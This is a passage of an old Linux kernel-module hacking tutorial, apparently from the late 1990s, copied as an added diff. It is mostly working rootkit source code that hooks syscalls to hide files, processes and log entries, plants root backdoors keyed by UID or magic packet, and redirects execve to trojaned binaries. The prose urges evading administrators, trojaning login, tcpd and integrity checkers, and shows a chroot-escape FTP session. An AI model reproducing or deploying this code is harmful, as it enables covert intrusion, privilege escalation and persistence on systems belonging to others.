+int init_module(void)                /*module setup*/
+{
+ call_in_firewall=new_call_in_firewall;
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+}
+</xmp>
+Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this do a 'ping 
+127.0.0.1', your kernel will produce a nice error message, because the called
+call_in_firewall(...) function was replaced by a bogus one (you may skip the
+firewall installation in this example).<br>
+This is a quite brutal way of killing an exported symbol. You could also 
+disassemble (using gdb) a certain symbol and modify certain bytes which will
+change the working of that symbol. Imagine there is a IF THEN contruction used
+in an exported function. How about disassembling this function and searching for
+commands like JNZ, JNE, ... This way you would be able to patch important items.
+Of course, you could lookup the functions in the kernel / module sources, but 
+what about symbols you cannot get the source for because you only got a binary
+module. Here the disassembling is quite interesting.<br>
+
+
+<H3><A NAME="II.4."></A>4. Filesystem related Hacks</h3>
+
+The most important feature of LKM hacking is the abilaty to hide some items
+(your exploits, sniffer (+logs), and so on) in the local filesystem.
+
+<H4><A NAME="II.4.1."></A>4.1  How to Hide Files</h4>   
+Imagine how an admin will find your files : He will use 'ls' and see everything.
+For those who don't know it, strace'in through 'ls' will show you that the
+systemcall used for getting directory listings is 
+
+<xmp>
+int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
+</xmp>
+So we know where to attack.The following piece of code shows the hacked_getdents
+systemcall adapted from AFHRM (from  Michal Zalewski). This module is able to
+hide any file from 'ls' and <i>every</i> program using getdents systemcall.
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+
+extern void* sys_call_table[];
+
+int (*orig_getdents) (uint, struct dirent *, uint);
+
+int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
+{
+ unsigned int tmp, n;
+ int t, proc = 0;
+ struct inode *dinode;
+ struct dirent *dirp2, *dirp3;
+ char hide[]="ourtool";                       /*the file to hide*/
+
+ /*call original getdents -> result is saved in tmp*/
+ tmp = (*orig_getdents) (fd, dirp, count);
+
+ /*directory cache handling*/
+ /*this must be checked because it could be possible that a former getdents
+ put the results into the task process structure's dcache*/
+#ifdef __LINUX_DCACHE_H
+    dinode = current->files->fd[fd]->f_dentry->d_inode;
+#else
+    dinode = current->files->fd[fd]->f_inode;
+#endif
+
+ /*dinode is the inode of the required directory*/
+ if (tmp > 0) 
+ {
+  /*dirp2 is a new dirent structure*/
+  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
+  /*copy original dirent structure to dirp2*/
+  memcpy_fromfs(dirp2, dirp, tmp);
+  /*dirp3 points to dirp2*/
+  dirp3 = dirp2;
+  t = tmp;
+  while (t > 0) 
+  {
+   n = dirp3->d_reclen;
+   t -= n;
+   /*check if current filename is the name of the file we want to hide*/
+   if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
+   {
+    /*modify dirent struct if necessary*/
+    if (t != 0)
+     memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
+    else
+     dirp3->d_off = 1024;
+    tmp -= n;
+   }
+   if (dirp3->d_reclen == 0) 
+   {
+    /*
+     * workaround for some shitty fs drivers that do not properly
+     * feature the getdents syscall.
+    */
+    tmp -= t;
+    t = 0;
+   }
+  if (t != 0)
+   dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
+  }
+  memcpy_tofs(dirp, dirp2, tmp);
+  kfree(dirp2);
+ }
+ return tmp;
+}
+
+
+int init_module(void)                /*module setup*/
+{
+ orig_getdents=sys_call_table[SYS_getdents];
+ sys_call_table[SYS_getdents]=hacked_getdents;
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+ sys_call_table[SYS_getdents]=orig_getdents; 
+                                       
+}
+
+</xmp>
+For beginners : read the comments and use your brain for 10 mins. <br>
+After that continue reading.<br>
+This hack is really helpful. But remember that the admin can see your file by
+directly accessing it. So a 'cat ourtool' or 'ls ourtool' will show him our
+file. So never take any trivial names for your tools like sniffer, mountdxpl.c,
+.... Of course their are ways to prevent an admin from reading our files, just
+read on.<br>
+
+<H4><A NAME="II.4.2."></A>4.2  How to hide the file contents (totally)</h4>
+
+I never saw an implementation really doing this. Of course their are LKMs like
+AFHRM by Michal Zalewski controlling the contents / delete functions  but not
+really hiding the contents. I suppose their are lots of people actually using
+methods like this, but no one wrote on it, so I do.<br>
+It should be clear that there are many ways of doing this. The first way is
+very simple,just intercept an open systemcall checking if filename is 'ourtool'.
+If so deny any open-attempt, so no read / write or whatever is possible. Let's
+implement that LKM :<br>
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+
+extern void* sys_call_table[];
+
+
+int (*orig_open)(const char *pathname, int flag, mode_t mode);
+
+
+int hacked_open(const char *pathname, int flag, mode_t mode)
+{
+ char *kernel_pathname;
+ char hide[]="ourtool";
+ /*this is old stuff -> transfer to kernel space*/
+ kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);
+
+ memcpy_fromfs(kernel_pathname, pathname, 255);
+
+ if (strstr(kernel_pathname, (char*)&hide ) != NULL)
+ {
+  kfree(kernel_pathname);
+  /*return error code for 'file does not exist'*/
+  return -ENOENT;
+ }
+ else
+ {
+  kfree(kernel_pathname);
+  /*everything ok, it is not our tool*/
+  return orig_open(pathname, flag, mode);
+ }
+}
+
+
+int init_module(void)                /*module setup*/
+{
+ orig_open=sys_call_table[SYS_open];
+ sys_call_table[SYS_open]=hacked_open;
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+ sys_call_table[SYS_open]=orig_open;                                      
+}
+</xmp>
+
+This works very fine, it tells anyone trying to access our files, that they
+are non-existent. But how do we access those files. Well there are many ways
+<ul>
+<li>implement a magic-string<br>
+<li>implement uid or gid check (requires creating a certain account)<br>
+<li>implement a time check<br>
+<li>...<br>
+</ul>
+There are thousands of possibilies which are all very easy to implement, so I
+leave this as an exercise for the reader.
+
+<H4><A NAME="II.4.3."></A>4.3  How to hide certain file parts (a prototype implementation)</h4>
+
+
+Well the method shown in 3.2 is very useful for our own tools / logs. But
+what about modifying admin / other user files. Imagine you want to control
+/var/log/messages for entries concerning your IP address / DNS name. We all
+know thousands of backdoors hiding our identity from any important logfile.
+But what about a LKM just filtering every string (data) written to a file. If 
+this string contains any data concerning our identity (IP address, for example)
+we deny that write (we will just skip it/return). The following implementation
+is a very (!!) basic prototype (!!) LKM, just for showing it. I never saw it
+before, but as in 3.2 there may be some people using this since years.
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+
+extern void* sys_call_table[];
+
+
+int (*orig_write)(unsigned int fd, char *buf, unsigned int count);
+
+int hacked_write(unsigned int fd, char *buf, unsigned int count)
+{
+ char *kernel_buf;
+ char hide[]="127.0.0.1"; /*the IP address we want to hide*/
+ kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);
+
+ memcpy_fromfs(kernel_buf, buf, 999);
+
+ if (strstr(kernel_buf, (char*)&hide ) != NULL)
+ {
+  kfree(kernel_buf);
+  /*say the program, we have written 1 byte*/
+  return 1;
+ }
+ else
+ {
+  kfree(kernel_buf);
+  return orig_write(fd, buf, count);
+ }
+}
+
+int init_module(void)                /*module setup*/
+{
+ orig_write=sys_call_table[SYS_write];
+ sys_call_table[SYS_write]=hacked_write;
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+ sys_call_table[SYS_write]=orig_write;                                      
+}
+</xmp>
+
+This LKM has several disadvantages, it does not check for the destination it
+the write is used on (can be checked via fd; read on for a sample). This means
+the even a 'echo '127.0.0.1'' will be printed.<br>
+You can also modify the string which should be written, so that it shows an IP
+address of someone you really like... But the general idea should be clear.<br>
+
+<H4><A NAME="II.4.4."></A>4.4  How to redirect / monitor file operations</h4>
+
+
+This idea is old, and was first implemented by Michal Zalewski in AFHRM.
+I won't show any code here, because it is too easy to implemented (after
+showing you II.4.3/II.4.2).There are many things you can monitor by redirection/
+filesystem events :
+<ul>
+<li>someone writes to a file -> copy the contents to another file
+  =>this can be done with sys_write(...) redirection<br>
+<li>someone was able to read a sensitve file -> monitor file reading of certain
+  files<br>
+  =>this can be done with sys_read(...) redirection<br>
+<li>someone opens a file -> we can monitor the whole system for such events<br>
+  =>intercept sys_open(...) and write files opened to a logfile; this is
+  the ways AFHRM monitors the files of a system (see IV.3 for source)<br>
+<li>link / unlink events -> monitor every link created<br>
+  =>intercept sys_link(...) (see IV.3 for source)<br>
+<li>rename events -> monitor every file rename event<br>
+  =>intercept sys_rename(...) (see IV.4 for source)<br>
+<li>...<br>
+</ul>
+These are very interesting points (especially for admins) because you can
+monitor a whole system for file changes. In my opinion it would also be
+interesting to monitor file / directory creations, which use commands like
+'touch' and 'mkdir'.<br>
+The command 'touch' (for example) does <i>not</i> use open for the creation process; 
+a strace shows us the following listing (excerpt) :
+
+<xmp>
+...
+stat("ourtool", 0xbffff798)             = -1 ENOENT (No such file or directory)
+creat("ourtool", 0666)                  = 3
+close(3)                                = 0
+_exit(0)                                = ?
+</xmp>
+
+As you can see the system uses the systemcall sys_creat(..) to create new files.
+I think it is not necessary to present a source,because this task is too trivial
+just intercept sys_creat(...) and write every filename to logfile with
+printk(...).<br>
+This is the way AFHRM logs any important events.
+
+
+<H4><A NAME="II.4.5."></A>4.5  How to avoid any file owner problems</h4>
+
+This hack is not only filesystem related, it is also very important for general
+permission problems. Have a guess which systemcall to intercept.Phrack (plaguez)
+suggests hooking sys_setuid(...) with a magic UID. This means whenever a setuid
+is used with this magic UID, the module will set the UIDs to 0 (SuperUser).<br>
+Let's look at his implementation(I will only show the hacked_setuid systemcall): 
+
+<xmp>
+...
+int hacked_setuid(uid_t uid)
+{
+    int tmp;
+    
+    /*do we have the magic UID (defined in the LKM somewhere before*/
+    if (uid == MAGICUID) {
+    /*if so set all UIDs to 0 (SuperUser)*/
+       current->uid = 0;
+       current->euid = 0;
+       current->gid = 0;
+       current->egid = 0;
+       return 0;
+    }
+    tmp = (*o_setuid) (uid);
+    return tmp;
+}
+...
+</xmp>
+
+I think the following trick could also be very helpful in certain situation.
+Imagine the following situation: You give a bad trojan to an (very silly) admin;
+this trojan installs the following LKM on that system [i did not implement hide
+features, just a prototype of my idea] :<vr>
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+
+extern void* sys_call_table[];
+
+
+int (*orig_getuid)();
+
+int hacked_getuid()
+{
+    int tmp;
+     
+    /*check for our UID*/
+    if (current->uid=500) {
+    /*if its our UID -> this means we log in -> give us a rootshell*/
+       current->uid = 0;
+       current->euid = 0;
+       current->gid = 0;
+       current->egid = 0;
+       return 0;
+    }
+    tmp = (*orig_getuid) ();
+    return tmp;
+}
+
+
+int init_module(void)                /*module setup*/
+{
+ orig_getuid=sys_call_table[SYS_getuid];
+ sys_call_table[SYS_getuid]=hacked_getuid;
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+ sys_call_table[SYS_getuid]=orig_getuid;                                      
+}
+</xmp>
+
+If this LKM is loaded on a system we are only a normal user, login will give us
+a nice rootshell (the current process has SuperUser rights). As I said in part
+I current points to the current task structure.
+
+<H4><A NAME="II.4.6."></A>4.6  How to make a hacker-tools-directory unaccessible</h4>
+
+For hackers it is often important to make the directory they use for their tools
+(<i>advanced</i> hackers don't use the regular local filesystem to store their data).
+Using the getdents approach helped us to hide directory/files. The open approach
+helped us to make our files unaccessible. But how to make our directory
+unaccessible ?<br>
+Well - as always - take a look at include/sys/syscall.h; you should be able to
+figure out SYS_chdir as the systemcall we need (for people who don't believe it
+just strace the 'cd' command...). This time I won't give you any source, because
+you just need to intercept sys_mkdir, and make a string comparison. After this
+you should make a regular call (if it is not our directory) or return ENOTDIR
+(standing for 'there exists no directory with that name'). Now your tools should
+really be hidden from intermediate admins (advanced / paranoid ones will scan
+the HDD at its lowest level, but who is paranoid today besides us ?!). It should
+also be possible to defeat this HDD scan, because everything is based on
+systemcalls.<br>
+
+<H4><A NAME="II.4.7."></A>4.7  How to change CHROOT Environments </h4>
+
+This idea is totally taken from HISPAHACK (hispahack.ccc.de). They published a
+real good text on that theme ('Restricting a restricted FTP'). I will explain
+their idea in some short words. Please note that the following example will
+<i>not</i> work anymore, it is quite old (see wu-ftpd version). I just show
+it in order to explain how you can escape from chroot environments using LKMs.
+The following text is based on old software (wuftpd) so don't try to use it in newer
+wu-ftpd versions, it <i>won't</i> work.<br>
+HISPAHACK's paper is based on the idea of an restricted user FTP account which has the
+following permission layout :<br>
+<xmp>
+drwxr-xr-x     6 user      users      1024 Jun 21 11:26 /home/user/
+drwx--x--x     2 root      root       1024 Jun 21 11:26 /home/user/bin/
+</xmp>
+This scenario (which you can often find) the user (we) can rename the bin
+directory, because it is in our home directory.<br>
+Before doing anything like that let's take a look at whe working of wu.ftpd
+(the server they used for explanation, but the idea is more general). If we
+issue a LIST command ../bin/ls will be executed with UID=0 (EUID=user's uid).
+Before the execution is actually done wu.ftpd will use chroot(...) in order to
+set the process root directory in a way we are restricted to the home directory.
+This prevents us from accessing other parts of the filesystem via our FTP account
+(restricted).<br>
+Now imagine we could replace /bin/ls with another program, this program would
+be executed as root (uid=0). But what would we win, we cannot access the whole
+system because of the chroot(...) call. This is the point where we need a LKM 
+helping us. We remove .../bin/ls with a program which loads a LKM supplied by
+us. This module will intercept the sys_chroot(...) systemcall. It must be
+changed in way it will no more restrict us. <br>
+This means we only need to be sure that sys_chroot(...) is doing nothing. 
+HISPAHACK used a very radical way, they just modified sys_chroot(...) in a way
+it only returns 0 and nothing more. After loading this LKM you can spawn a new
+process without being restricted anymore. This means you can access the whole
+system with uid=0. The following listing shows the example 'Hack-Session'
+published by HISPAHACK :
+
+<xmp>
+thx:~# ftp
+ftp> o ilm
+Connected to ilm.
+220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
+Name (ilm:root): user
+331 Password required for user.
+Password:
+230 User user logged in.&nbsp; Access restrictions apply.
+Remote system type is UNIX.
+Using binary mode to transfer files.</TT></PRE>
+ftp> ls
+200 PORT command successful.
+150 Opening ASCII mode data connection for /bin/ls.
+total 5
+drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 .
+drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 ..
+d--x--x--x  2 root              root                   1024 Jun 21 11:26 bin
+drwxr-xr-x  2 root              root                   1024 Jun 21 11:26 etc
+drwxr-xr-x  2 user              users                  1024 Jun 21 11:26 home
+226 Transfer complete.
+ftp> cd ..
+250 CWD command successful.
+ftp> ls
+200 PORT command successful.
+150 Opening ASCII mode data connection for /bin/ls.
+total 5
+drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 .
+drwxr-xr-x  5 user              users                  1024 Jun 21 21:26 ..
+d--x--x--x  2 root              root                   1024 Jun 21 11:26 bin
+drwxr-xr-x  2 root              root                   1024 Jun 21 11:26 etc
+drwxr-xr-x  2 user              users                  1024 Jun 21 11:26 home
+226 Transfer complete.
+ftp> ls bin/ls
+200 PORT command successful.
+150 Opening ASCII mode data connection for /bin/ls.
+---x--x--x  1 root              root                   138008 Jun 21 11:26 bin/ls
+226 Transfer complete.
+ftp> ren bin bin.old
+350 File exists, ready for destination name
+250 RNTO command successful.
+ftp> mkdir bin
+257 MKD command successful.
+ftp> cd bin
+250 CWD command successful.
+ftp> put ls
+226 Transfer complete.
+ftp> put insmod
+226 Transfer complete.
+ftp> put chr.o
+226 Transfer complete.
+ftp> chmod 555 ls
+200 CHMOD command successful.
+ftp> chmod 555 insmod
+200 CHMOD command successful.
+ftp> ls
+200 PORT command successful.
+150 Opening ASCII mode data connection for /bin/ls.
+UID: 0 EUID: 1002
+Cambiando EUID...
+UID: 0 EUID: 0
+Cargando modulo chroot...
+Modulo cargado.
+226 Transfer complete.
+ftp> bye
+221 Goodbye.
+thx:~#
+
+--> now we start a new FTP session without being restricted (LKM is loaded so
+    sys_chroot(...) is defeated. So do what you want (download passwd...)
+</xmp>
+In the Appendix you will find the complete source code for the new ls and the
+module.<br>
+
+<H3><A NAME="II.5."></A>5. Process related Hacks</h3>
+
+So far the filesystem is totally controlled by us.  We discussed the most
+interesting 'Hacks'. Now its time to change the direction. We need to discuss
+LKMs confusing commands like 'ps' showing processes.
+
+<H4><A NAME="II.5.1."></A>5.1 How to hide any process</h4>
+
+The most important thing we need everyday is hiding a process from the admin.
+Imagine a sniffer, cracker (should normally not be done on hacked systems), ...
+seen by an admin when using 'ps'. Oldschool tricks like changing the name of the
+sniffer to something different, and hoping the admin is silly enough, are no good
+for the 21. century. We want to hide the process totally. So lets look at an
+implementation from plaguez (some very minor changes):
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+#include <linux/proc_fs.h>
+
+extern void* sys_call_table[];
+
+/*process name we want to hide*/
+char mtroj[] = "my_evil_sniffer";
+
+int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
+
+/*convert a string to number*/
+int myatoi(char *str)
+{
+ int res = 0;
+ int mul = 1;
+ char *ptr;
+ for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
+  if (*ptr < '0' || *ptr > '9')
+   return (-1);
+  res += (*ptr - '0') * mul;
+  mul *= 10;
+ }
+ return (res);
+}
+
+/*get task structure from PID*/
+struct task_struct *get_task(pid_t pid)
+{
+ struct task_struct *p = current;
+ do {
+  if (p->pid == pid)
+   return p;
+   p = p->next_task;
+  }
+  while (p != current);
+  return NULL;
+}
+
+/*get process name from task structure*/
+static inline char *task_name(struct task_struct *p, char *buf)
+{
+ int i;
+ char *name;
+
+ name = p->comm;
+ i = sizeof(p->comm);
+ do {
+  unsigned char c = *name;
+  name++;
+  i--;
+  *buf = c;
+  if (!c)
+   break;
+  if (c == '\\') {
+   buf[1] = c;
+   buf += 2;
+   continue;
+  }
+  if (c == '\n') {
+   buf[0] = '\\';
+   buf[1] = 'n';
+   buf += 2;
+   continue;
+  }
+  buf++;
+ }
+ while (i);
+ *buf = '\n';
+ return buf + 1;
+}
+
+/*check whether we need to hide this process*/
+int invisible(pid_t pid)
+{
+ struct task_struct *task = get_task(pid);
+ char *buffer;
+ if (task) {
+  buffer = kmalloc(200, GFP_KERNEL);
+  memset(buffer, 0, 200);
+  task_name(task, buffer);
+  if (strstr(buffer, (char *) &mtroj)) {
+   kfree(buffer);
+   return 1;
+  }
+ }
+ return 0;
+}
+
+/*see II.4 for more information on filesystem hacks*/
+int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
+{
+ unsigned int tmp, n;
+ int t, proc = 0;
+ struct inode *dinode;
+ struct dirent *dirp2, *dirp3;
+
+ tmp = (*orig_getdents) (fd, dirp, count);
+
+#ifdef __LINUX_DCACHE_H
+ dinode = current->files->fd[fd]->f_dentry->d_inode;
+#else
+ dinode = current->files->fd[fd]->f_inode;
+#endif
+
+ if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
+  proc=1;
+ if (tmp > 0) {
+  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
+  memcpy_fromfs(dirp2, dirp, tmp);
+  dirp3 = dirp2;
+  t = tmp;
+  while (t > 0) {
+   n = dirp3->d_reclen;
+   t -= n;
+  if ((proc && invisible(myatoi(dirp3->d_name)))) {
+   if (t != 0)
+    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
+   else
+    dirp3->d_off = 1024;
+    tmp -= n; 
+   }
+   if (t != 0)
+    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
+  }
+  memcpy_tofs(dirp, dirp2, tmp);
+  kfree(dirp2);
+ }
+ return tmp;
+}
+
+
+int init_module(void)                /*module setup*/
+{
+ orig_getdents=sys_call_table[SYS_getdents];
+ sys_call_table[SYS_getdents]=hacked_getdents;
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+ sys_call_table[SYS_getdents]=orig_getdents;                                      
+}
+</xmp>
+
+The code seems complicated, but if you know how 'ps' and every process analyzing
+tool works, it is really easy to understand. Commands like 'ps' do not use any
+special systemcall for getting a list of the current processes (there exists no
+systemcall doing this). By strace'in 'ps' you will recognize that it gets its
+information from the /proc/ directory. There you can find lots of directories
+with names only consisting of numbers. Those numbers are the PIDs of all running
+processes on that system. Inside these directories you find files which provide
+any information on that process.So 'ps' just does an 'ls' on /proc/; every number
+it finds stands for a PID it shows in its well-known listing. The information it
+shows us about every process is gained from reading the files inside /proc/PID/.
+Now you should get the idea.'ps' must read the contents of the /proc/ directory,
+so it must use sys_getdents(...).We just must get the name of the a PID found in
+/proc/; if it is our process name  we want to hide, we will  hide it from /proc/
+(like we did with other files in the filesystem -> see 4.1). The two task
+functions and the invisible(...) function are only used to get the name for a
+given PID found in the proc directory and related stuff. The file hiding should
+be clear after studying 4.1.<br>
+I would improve only one point in plaguez approuch. I don't know why he used
+a selfmade atoi-function, simple_strtoul(...) would be the easier way, but these
+are peanuts. Of course, in a complete hide module you would put file and process
+hiding in one hacked getdents call (this is the way plaguez did it).<br>
+Runar Jensen used another, more complicated way. He also hides the PIDs from the
+/proc directory, but the way he checks whether to hide or not is a bit different.
+He uses the flags field in the task structure. This unsigned long field normally
+uses the following constants to save some information on the task :<br>
+<ul>
+<li>PF_PTRACED   :  current process is observed<br>
+<li>PF_TRACESYS  :  "       "       "  "<br>
+<li>PF_STARTING  :  process is going to start<br>
+<li>PF_EXITING   :  process is going to terminate<br>
+</ul>
+Now Runar Jensen adds his own constant (PF_INVISIBLE) which he uses to indicate
+that the corresponding process should be invisible. So a PID found in /proc by
+using sys_getdents(...) must not be resolved in its name. You only have to check
+for the task flag field. This sounds easier than the 'name approach'. But how to
+set this flag for a process we want to hide. Runar Jensen used the easiest way
+by hooking sys_kill(...). The 'kill' command can send a special code (9 for 
+termination, for example) to any process speciafied by his PID. So start your
+process which is going to be invisible, do a 'ps' for getting its PID. And use
+a 'kill -code PID'. The code field must be a value that is not used by the
+system (so 9 would be a bad choice); Runar Jensen took 32. So the module needs
+to hook sys_kill(...) and check for a code of 32. If so it must set the task
+flags field of the process specified through the PID given to sys_kill(...).
+This is a way to set the flag field. Now it is clear why this approach is a bit
+too complicated for an easy practical use.
+
+<H4><A NAME="II.5.2."></A>5.2 How to redirect Execution of files</h4>
+
+In certain situations it could be very interesting to redirect the execution
+of a file. Those files could be /bin/login (like plaguez did), tcpd, etc.. This
+would allow you to insert any trojan without problem of checksum checks on those
+files (you don't need to change them). So let's again search the responsible
+systemcall. sys_execve(...) is the one we need. Let's take a look at plaguez
+way of redirection (the original idea came from  halflife) :<br>
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+
+extern void* sys_call_table[];
+
+/*must be defined because of syscall macro used below*/
+int errno;
+
+/*we define our own systemcall*/
+int __NR_myexecve;
+
+/*we must use brk*/
+static inline _syscall1(int, brk, void *, end_data_segment);
+
+int (*orig_execve) (const char *, const char *[], const char *[]);
+
+/*here plaguez's user -> kernel space transition specialized for strings
+is better than memcpy_fromfs(...)*/
+char *strncpy_fromfs(char *dest, const char *src, int n)
+{
+ char *tmp = src;
+ int compt = 0;
+
+ do {
+  dest[compt++] = __get_user(tmp++, 1);
+ }
+ while ((dest[compt - 1] != '\0') && (compt != n));
+ return dest;
+}
+
+
+/*this is something like a systemcall macro called with SYS_execve, the
+asm code calls int 0x80 with the registers set in a way needed for our own
+__NR_myexecve systemcall*/
+int my_execve(const char *filename, const char *argv[], const char *envp[])
+{
+    long __res;
+    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) 
+                     (filename)), "c"((long) (argv)),                      "d"((long) (envp)));
+    return (int) __res;
+}
+
+
+int hacked_execve(const char *filename, const char *argv[], const char *envp[])
+{
+ char *test;
+ int ret, tmp;
+ char *truc = "/bin/ls";        /*the file we *should* be executed*/
+ char *nouveau = "/bin/ps";     /*the new file which *will* be executed*/
+ unsigned long mmm;
+
+ test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
+ /*get file which a user wants to execute*/
+ (void) strncpy_fromfs(test, filename, strlen(truc));
+ test[strlen(truc)] = '\0';
+ /*do we have our truc file ?*/
+ if (!strcmp(test, truc)) 
+ {
+  kfree(test);
+  mmm = current->mm->brk;
+  ret = brk((void *) (mmm + 256));
+  if (ret < 0)
+   return ret;
+  /*set new program name (the program we want to execute instead of /bin/ls or 
+  whatever)*/
+  memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
+  /*execute it with the *same* arguments / environment*/
+  ret = my_execve((char *) (mmm + 2), argv, envp);
+  tmp = brk((void *) mmm);
+ } else {
+  kfree(test);
+  /*no the program was not /bin/ls so execute it the normal way*/
+  ret = my_execve(filename, argv, envp);
+ }
+ return ret;
+}
+
+int init_module(void)                /*module setup*/
+{
+ /*the following lines choose the systemcall number of our new myexecve*/
+ __NR_myexecve = 200;
+ while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
+  __NR_myexecve--;
+
+ orig_execve = sys_call_table[SYS_execve];
+ if (__NR_myexecve != 0) 
+ {
+  sys_call_table[__NR_myexecve] = orig_execve; 
+  sys_call_table[SYS_execve] = (void *) hacked_execve;
+ }
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+ sys_call_table[SYS_execve]=orig_execve;                                      
+}
+</xmp>
+
+When you loaded this module, every call to /bin/ls will just execute /bin/ps.
+The following list gives you some ideas how to use this redirection of execve :
+<ul>
+<li>trojan /bin/login with a hacker login (how plaguez suggests)<br>
+<li>trojan tcpd to open a rootshell on a certain port, or to filter its logging
+  behaviour (remember CERT advisory on a trojan TCPD version)<br>
+<li>trojan inetd for a root shell<br>
+<li>trojan httpd, sendmail, ... any server you can think of, for a rootshell, by
+  issuing a special magic string<br>
+<li>trojan tools like tripwire, L6<br>
+<li>other system security relevant tools<br>
+</ul>
+There are thousands of other intersting programs to 'trojan', just use your 
+brain.
+
+<H3><A NAME="II.6."></A>6.  Network (Socket) related Hacks</h3>
+
+The network is the hacker's playground. So let's look at something which can
+help us.  
+
+<H4><A NAME="II.6.1."></A>6.1 How to controll Socket Operations</h4> 
+
+There are many things you can do by controlling Socket Operations. plaguez gave
+us a nice backdoor. He just intercepts the sys_socketcall systemcall, waiting
+for a packet with a certain length and a certain contents. So let's take a look
+at his hacked systemcall (I will only show the hacked_systemcall, because the
+rest is equal to every other LKM mentioned in this section) :
+
+<xmp>
+int hacked_socketcall(int call, unsigned long *args)
+{
+ int ret, ret2, compt;
+
+ /*our magic size*/
+ int MAGICSIZE=42;
+
+ /*our magic contents*/
+ char *t = "packet_contents";
+ unsigned long *sargs = args;
+ unsigned long a0, a1, mmm;
+ void *buf;
+
+ /*do the call*/
+ ret = (*o_socketcall) (call, args);
+
+ /*did we have magicsize & and a recieve ?*/
+  if (ret == MAGICSIZE && call == SYS_RECVFROM) 
+  {
+   /*work on arguments*/
+   a0 = get_user(sargs);
+   a1 = get_user(sargs + 1);
+   buf = kmalloc(ret, GFP_KERNEL);
+   memcpy_fromfs(buf, (void *) a1, ret);
+   for (compt = 0; compt < ret; compt++)
+    if (((char *) (buf))[compt] == 0)
+     ((char *) (buf))[compt] = 1;
+    /*do we have magic_contents ?*/
+    if (strstr(buf, mtroj)) 
+    {
+     kfree(buf);
+     ret2 = fork();
+    if (ret2 == 0) 
+    {
+     /*if so execute our proggy (shell or whatever you want...) */
+     mmm = current->mm->brk;
+     ret2 = brk((void *) (mmm + 256));
+     memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
+
+     /*plaguez's execve implementation -> see 4.2*/
+     ret2 = my_execve((char *) mmm + 2, NULL, NULL);
+    }
+   }
+  }
+ return ret;
+}
+</xmp>
+
+Ok, as always I added some comments to the code, which is a bit ugly, but working.
+The code intercepts every sys_socketcall (which is responsible for everything
